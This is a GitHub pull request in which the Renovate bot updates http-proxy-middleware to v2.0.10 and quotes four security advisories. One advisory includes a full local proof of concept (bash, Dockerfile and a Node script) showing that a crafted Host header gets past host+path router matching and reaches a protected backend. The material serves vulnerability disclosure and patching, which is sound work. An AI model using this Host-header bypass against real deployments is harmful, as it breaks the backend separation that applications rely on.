Skip to content

fix: update dependency http-proxy-middleware to v2.0.10 [security] (release-bot/next-v15.x) - #2175

Open
renovate[bot] wants to merge 1 commit into
release-bot/next-v15.xfrom
renovate/release-bot/next-v15.x-npm-http-proxy-middleware-vulnerability
Open

fix: update dependency http-proxy-middleware to v2.0.10 [security] (release-bot/next-v15.x)#2175
renovate[bot] wants to merge 1 commit into
release-bot/next-v15.xfrom
renovate/release-bot/next-v15.x-npm-http-proxy-middleware-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 25, 2024

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
http-proxy-middleware 2.0.32.0.10 age confidence

Denial of service in http-proxy-middleware

CVE-2024-21536 / GHSA-c7qv-q95q-8v27

More information

Details

Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


http-proxy-middleware can call writeBody twice because "else if" is not used

CVE-2025-32996 / GHSA-4www-5p9h-95mh

More information

Details

In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used.

Severity

  • CVSS Score: 4.0 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


http-proxy-middleware allows fixRequestBody to proceed even if bodyParser has failed

CVE-2025-32997 / GHSA-9gqv-wp59-fq42

More information

Details

In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.

Severity

  • CVSS Score: 4.0 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


http-proxy-middleware router host+path substring matching allows Host-header-driven backend routing bypass

CVE-2026-55602 / GHSA-64mm-vxmg-q3vj

More information

Details

Summary

http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

Details

Tested code state:

  • validated on tag v4.0.0-beta.5
  • corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358

Relevant code locations:

  • src/router.ts
  • src/http-proxy-middleware.ts

Affected public API:

  • createProxyMiddleware({ router: { 'host/path': 'http://target' } })

Code explanation:

When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:

hostAndPath.indexOf(key) > -1

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

localhost:3000/api

but the attacker-controlled host is:

evillocalhost:3000

and the request path is:

/api

The concatenated attacker-controlled string:

evillocalhost:3000/api

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

  1. the application enables the documented proxy-table router feature with at least one host+path rule
  2. an external attacker sends an ordinary HTTP request with a crafted Host header
  3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying
  4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching
  5. the request is proxied to the wrong backend
PoC

Create these files in the same working directory and run:

bash ./run.sh
File: run.sh
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
File: Dockerfile
FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction
File: verify.mjs
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}

This PoC starts:

  • one default backend returning DEFAULT
  • one alternate backend returning SECRET
  • one proxy using:
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

It then sends:

  1. a baseline request to /api with Host: safe.example:3000
  2. a crafted request to /api with Host: evillocalhost:3000

Observed result from the validated PoC:

  • baseline request: STEP baseline-route body=DEFAULT
  • crafted request: STEP crafted-route body=SECRET
  • success marker: RESULT reproduced host_header_injection router substring match bypass

The PoC is considered successful only if:

  1. the baseline request stays on the default backend
  2. the crafted request reaches the alternate backend
  3. the crafted host is not equal to the configured router host
Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

chimurai/http-proxy-middleware (http-proxy-middleware)

v2.0.10

Compare Source

What's Changed

New Contributors

Full Changelog: chimurai/http-proxy-middleware@v2.0.9...v2.0.10

v2.0.9

Compare Source

What's Changed

Full Changelog: chimurai/http-proxy-middleware@v2.0.8...v2.0.9

v2.0.8

Compare Source

What's Changed

Full Changelog: chimurai/http-proxy-middleware@v2.0.7...v2.0.8

v2.0.7

Compare Source

Full Changelog: chimurai/http-proxy-middleware@v2.0.6...v2.0.7

v2.0.6

Compare Source

  • fix(proxyReqWs): catch socket errors (#​763)

v2.0.5

Compare Source

  • fix(error handler): add default handler to econnreset (#​759)

v2.0.4

Compare Source

  • fix(fix-request-body): improve content type check (#​725) (kevinxh)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the 📦 v15 Apply this label to a pull request, if it has to be cherry-picked to the v15.x-branch after merging. label Oct 25, 2024
@renovate
renovate Bot force-pushed the renovate/release-bot/next-v15.x-npm-http-proxy-middleware-vulnerability branch from c62b61c to 982184d Compare April 29, 2025 02:06
@renovate renovate Bot changed the title fix: update dependency http-proxy-middleware to v2.0.7 [security] (release-bot/next-v15.x) fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) Apr 29, 2025
@renovate renovate Bot changed the title fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/release-bot/next-v15.x-npm-http-proxy-middleware-vulnerability branch March 27, 2026 00:53
@renovate renovate Bot changed the title fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) - autoclosed fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/release-bot/next-v15.x-npm-http-proxy-middleware-vulnerability branch 2 times, most recently from 982184d to 8af94ee Compare March 30, 2026 21:23
@renovate renovate Bot changed the title fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) - autoclosed fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/release-bot/next-v15.x-npm-http-proxy-middleware-vulnerability branch 2 times, most recently from 8af94ee to b450a3c Compare April 27, 2026 21:40
@renovate
renovate Bot force-pushed the renovate/release-bot/next-v15.x-npm-http-proxy-middleware-vulnerability branch from b450a3c to e35d985 Compare July 12, 2026 12:52
@renovate renovate Bot changed the title fix: update dependency http-proxy-middleware to v2.0.9 [security] (release-bot/next-v15.x) fix: update dependency http-proxy-middleware to v2.0.10 [security] (release-bot/next-v15.x) Aug 26, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

📦 v15 Apply this label to a pull request, if it has to be cherry-picked to the v15.x-branch after merging.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants